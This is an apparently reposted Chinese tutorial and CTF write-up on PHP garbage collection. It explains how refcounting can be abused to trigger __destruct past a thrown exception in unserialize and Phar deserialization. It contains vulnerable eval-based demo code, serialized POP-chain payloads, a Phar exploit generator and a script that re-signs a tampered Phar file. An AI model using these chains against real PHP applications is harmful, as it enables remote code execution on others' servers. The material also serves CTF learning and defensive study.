浅析PHP GC垃圾回收机制及常见利用方式(一)

简介: 浅析PHP GC垃圾回收机制及常见利用方式

前言

上周战队知识分享时,H3018大师傅讲了PHP GC回收机制的利用,学会了如何去绕过抛出异常。

H3018大师傅讲述的很清楚,大家有兴趣的可以去看一下哇,链接如下

https://www.bilibili.com/video/BV16g411s7CH/

这篇文章的话没有怎么涉及底层原理,只是将我自己的见解简述一下,希望能对正在学习PHP反序列化的师傅有所帮助。

GC

什么是GC

Gc,全称Garbage collection,即垃圾回收机制。

在PHP中有这个GC机制

PHP中的GC

在PHP中,使用引用计数回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向

时,它就会被变成垃圾,被GC机制自动回收掉

那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC机制回收,在回收的过程中,它会自动触发_destruct方法,而这也就是我们绕过抛出异常的关键点。

上文说到PHP是使用引用计数来进行管理的,接下来简单说一下。

引用计数

当我们PHP创建一个变量时,这个变量会被存储在一个名为zval的变量容器中。在这个zval变量容器中,不仅包含变量的类型和值,还包含两个字节的额外信息。

第一个字节名为is_ref,是bool值,它用来标识这个变量是否是属于引用集合。PHP引擎通过这个字节来区分普通变量和引用变量,由于PHP允许用户使用&来使用自定义引用,zval变量容器中还有一个内部引用计数机制,来优化内存使用。

第二个字节是refcount,它用来表示指向zval变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用域。

看接下来的这个例子

<?php
$a = "new string";
xdebug_debug_zval('a'); //用于查看变量a的zval变量容器的内容
?>

我们可以看到这里定义了一个变量$a,生成了类型为String和值为new string的变量容器,而对于两个额外的字节,is_refrefcount,我们这里可以看到是不存在引用的,所以is_ref的值应该是false,而refcount是表示变量个数的,那么这里就应该是1,接下来我们验证一下

接下来我们添加一个引用

<?php
<?php
$a="new string";
$b =&$a;
xdebug_debug_zval('a');
?>

按照之前的思路,每生成一个变量就有一个zval记录其类型和值以及两个额外字节,那我们这里的话a的refcount应该是1,is_ref应该是true,接下来我们验证一下

哎,结果不同于我们所想的,这是为什么呢?

因为同一变量容器被变量a和变量b关联,当没必要时,php不会去复制已生成的变量容器。

所以这一个zval容器存储了ab两个变量,就使得refcount的值为2.

接下来说一下容器的销毁这个事。

变量容器在refcount变成0时就被销毁。它这个值是如何减少的呢,当函数执行结束或者对变量调用了unset()函数,refcount就会减1。

看个例子

<?php
$a="new string";
$b =&$a;
$c =&$b;
xdebug_debug_zval('a');
unset($b,$c);
xdebug_debug_zval('a');
?>

按照刚刚所说,那么这里的首次输出的is_ref应该是truerefcount为3。

第二次输出的is_ref值是什么呢,我们可以看到引用$a的变量$b$c都被unset了,所以这里的is_ref应该是false,也是因为unset,这里的refcount应该从3变成了1,接下来验证一下

GC在PHP 反序列化中的利用

GC如果在PHP反序列化中生效,那它就会直接触发_destruct方法,接下来以例子来演示。

demo

首先来看变量被unset函数处理的情况

<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
    public $num;
    public function __construct($num) {
        $this->num = $num; echo $this->num."__construct"."</br>";
    }
    public function __destruct(){
        echo $this->num."__destruct()"."</br>";
    }
    }
$a = new test(1);
unset($a);
$b = new test(2);
$c = new test(3);

这个是一种方法,还有一种方法,如下。

我们知道当对象为NULL时也是可以触发_destruct的,所以我们这里的话来试一下反序列化一个数组,然后写入第一个索引为对象,将第二个赋值为0,看一下能否触发。(原理我感觉应该是给第一个对象赋值为0键时,此时又将0赋值给了另一个,就相当于它失去了引用,被视为垃圾给回收了)

demo如下

<?php
show_source(__FILE__);
$flag = "flag";
class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}
$a = unserialize($_GET['1']);
throw new Exception('你想干什么');

我们可以看到这里在反序列化后就抛出异常了,如果按照正常的话,是无法触发_destruct的,我们按照先前所想,这里先反序列化一个数组

<?php
show_source(__FILE__);
class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}
$a=array(new B,0);
echo serialize($a);

得到序列化文本如下

a:2:{i:0;O:1:"B":0:{}i:1;i:0;}

对象类型:长度:{类型:长度;类型:长度:类名:值类型:长度;类型:长度;}

数组:长度为2::{int型:长度0;类:长度为1:类名为"B":值为0 int型:值为1:int型;值为0

接下来我们按照我们所想,将第二个索引置空,就可以触发GC回收机制,因此修改序列化文本为

a:2:{i:0;O:1:"B":0:{}i:0;i:0;}

去尝试一下

成功触发,看到这里也就知道了大致的思路

这里可以看到也是成功提前触发了_destruct,因为如果正常情况的话,有异常抛出就无法再触发_destruct了,而这个思路也是我们在CTF中绕过异常的一个方法。

Gc在Phar反序列化中的利用

Gc在Phar反序列化中类似于PHP反序列化,也是当遇到抛出异常时,可以借用上面的方法来实现绕过,下面以demo来简单讲解一下。

demo

<?php
highlight_file(__FILE__);
class Test{
    public $code;
    public function __destruct(){
        eval($this -> code);
        }
}
$filename = $_GET['filename'];
echo file_get_contents($filename);
throw new Error("Garbage collection");
?>

看到file_get_contents函数和类,就想到Phar反序列化,所以接下来尝试借助file_get_contents方法来进行反序列化(因为这里只是本地测试一下,所以不再设置文件上传那些,直接将生成的Phar文件放置本地进行利用了)。

构造Exp如下

<?php
class test{
    public $code= "phpinfo();";
}
$a = new test();
$c = array($a,0);
$b = new Phar('1.phar',0);//后缀名必须为phar
$b->startBuffering();//开始缓冲 Phar 写操作
$b->setMetadata($c);//自定义的meta-data存入manifest
$b->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$b->addFromString("test.txt","test");//添加要压缩的文件
$b->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

注:需要去检查一下php.ini中的phar.readonly选项,如果是On,需要修改为Off。否则会报错,无法生成phar文件

小Tip: 这里如果有师傅不懂为什么这样写,可以学一下Phar反序列化,我之前也写过一篇关于Phar反序列化的文章,

师傅们可以参考一下https://tttang.com/archive/1732/

010editor打开phar文件

可以发现i:1,按照我们之前的思路,我们这里将i:1修改成i:0就可以绕过抛出异常,但在Phar文件中,我们是不能任意修改数据的,否则就会因为签名错误而导致文件出错,不过签名是可以进行伪造的,所以我们先将1.phar中的i:1修改为i:0,接下来利用脚本使得签名正确。

脚本如下

import gzip
from hashlib import sha1
with open('D:\\phpStudy\\PHPTutorial\\WWW\html\\1.phar', 'rb') as file:
    f = file.read() 
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
open("2.phar","wb").write(newf)

打开2.phar文件查看一下

变成i:0且文件正常,接下来利用phar伪协议包含这个文件

$filename=phar://2.phar

可以发现成功输出了phpinfo。

CTF实战

例题1

这道题是H3018大师傅在知识分享时的例题,在这里引用一下,源码如下

<?php
highlight_file(__FILE__);
error_reporting(0);
class cg0{
    public $num;
    public function __destruct(){
        echo $this->num."hello __destruct";
        }
    }
class cg1{
    public $string;
    public function __toString() {
        echo "hello __toString";
        $this->string->flag();
        }
    }
class cg2{
    public $cmd;
    public function flag(){
        echo "hello __flag()";
        eval($this->cmd);
    }
}
$a=unserialize($_GET['code']);
throw new Exception("Garbage collection");
?>

这道题的话思路比较简单

1、首先调用__destrcut,然后通过num参数触发__tostring

2、给string参数赋值,调用cg2的flag方法

3、给cmd参数赋值,实现RCE

但我们会发现这里首先要用到的就是__destruct,而代码末尾带有throw new Exception("Garbage collection");,即异常抛出,所以我们首先需要解决的就是如何绕过他,上文在讲GC中的PHP反序列化时,demo已经给出了方法,即先传值给数组,而后将第二个索引置空即可,因此我们这里按照平常思路,先构造出payload

<?php
highlight_file(__FILE__);
error_reporting(0);
class cg0{
    public $num;
}
class cg1{
    public $string;
}
class cg2{
    public $cmd;
}
$a = new cg0();
$a->num=new cg1();
$a->num->string=new cg2();
$a->num->string->cmd="phpinfo();";
$b=array($a,0);
echo serialize($b);

得到

a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}

i:1修改为i:0

a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}

接下来去尝试一下

成功触发phpinfo()


相关文章
|
24天前
|
缓存 算法 Java
JVM知识体系学习六:JVM垃圾是什么、GC常用垃圾清除算法、堆内存逻辑分区、栈上分配、对象何时进入老年代、有关老年代新生代的两个问题、常见的垃圾回收器、CMS
这篇文章详细介绍了Java虚拟机(JVM)中的垃圾回收机制,包括垃圾的定义、垃圾回收算法、堆内存的逻辑分区、对象的内存分配和回收过程,以及不同垃圾回收器的工作原理和参数设置。
49 4
JVM知识体系学习六:JVM垃圾是什么、GC常用垃圾清除算法、堆内存逻辑分区、栈上分配、对象何时进入老年代、有关老年代新生代的两个问题、常见的垃圾回收器、CMS
|
4天前
|
Java PHP
深入理解PHP中的垃圾回收机制
深入理解PHP中的垃圾回收机制
14 3
|
23天前
|
监控 Java PHP
深入理解 PHP 中的垃圾回收机制
PHP,作为一门广泛使用的服务器端脚本语言,其性能和资源管理一直是开发者关注的焦点。本文将深入探讨PHP中的垃圾回收机制,包括垃圾回收的工作原理、影响垃圾回收的因素,以及开发者如何通过代码优化来改善垃圾回收效率。通过本文,你将了解到PHP垃圾回收的内部细节,并掌握一些实用的技巧来提升你的应用性能。
|
1月前
|
Java PHP
PHP作为广受青睐的服务器端脚本语言,在Web开发中占据重要地位。理解其垃圾回收机制有助于开发高效稳定的PHP应用。
【10月更文挑战第1天】PHP作为广受青睐的服务器端脚本语言,在Web开发中占据重要地位。其垃圾回收机制包括引用计数与循环垃圾回收,对提升应用性能和稳定性至关重要。本文通过具体案例分析,详细探讨PHP垃圾回收机制的工作原理,特别是如何解决循环引用问题。在PHP 8中,垃圾回收机制得到进一步优化,提高了效率和准确性。理解这些机制有助于开发高效稳定的PHP应用。
41 3
|
2月前
|
监控 算法 Java
深入理解Java中的垃圾回收机制在Java编程中,垃圾回收(Garbage Collection, GC)是一个核心概念,它自动管理内存,帮助开发者避免内存泄漏和溢出问题。本文将探讨Java中的垃圾回收机制,包括其基本原理、不同类型的垃圾收集器以及如何调优垃圾回收性能。通过深入浅出的方式,让读者对Java的垃圾回收有一个全面的认识。
本文详细介绍了Java中的垃圾回收机制,从基本原理到不同类型垃圾收集器的工作原理,再到实际调优策略。通过通俗易懂的语言和条理清晰的解释,帮助读者更好地理解和应用Java的垃圾回收技术,从而编写出更高效、稳定的Java应用程序。
|
1月前
|
存储 Java PHP
【JVM】垃圾回收机制(GC)之引用计数和可达性分析
【JVM】垃圾回收机制(GC)之引用计数和可达性分析
50 0
|
2月前
|
监控 算法 Java
深入理解Java中的垃圾回收机制(GC)
本文将探讨Java的自动内存管理核心——垃圾回收机制。通过详细解析标记-清除算法、复制算法和标记-整理算法等常用垃圾回收算法,以及CMS、G1等常见垃圾回收器,帮助读者更好地理解Java应用的性能优化和内存管理。同时,探讨分代收集、分区收集等策略在实际项目中的应用。结语部分总结了垃圾回收机制在Java开发中的重要性,并展望了未来可能的发展。
49 0
|
3月前
|
缓存 监控 Java
"Java垃圾回收太耗时?阿里HBase GC优化秘籍大公开,让你的应用性能飙升90%!"
【8月更文挑战第17天】阿里巴巴在HBase实践中成功将Java垃圾回收(GC)时间降低90%。通过选用G1垃圾回收器、精细调整JVM参数(如设置堆大小、目标停顿时间等)、优化代码减少内存分配(如使用对象池和缓存),并利用监控工具分析GC行为,有效缓解了高并发大数据场景下的性能瓶颈,极大提升了系统运行效率。
68 4
|
3月前
|
算法 Java 应用服务中间件
探索JVM垃圾回收算法:选择适合你应用的最佳GC策略
探索JVM垃圾回收算法:选择适合你应用的最佳GC策略
|
3月前
|
Java PHP 开发者
深入理解PHP的垃圾回收机制
【8月更文挑战第15天】在PHP编程中,内存管理是一个至关重要的话题。不同于其他编程语言,如C++和Java,PHP提供了自动的垃圾回收机制来帮助开发者管理内存。本文将深入探讨PHP的垃圾回收机制,包括它的工作原理、如何影响性能以及开发者如何利用这一机制来优化应用程序的性能。文章不包含代码示例,旨在通过文字阐述让读者对PHP的垃圾回收有一个清晰的认识。
43 0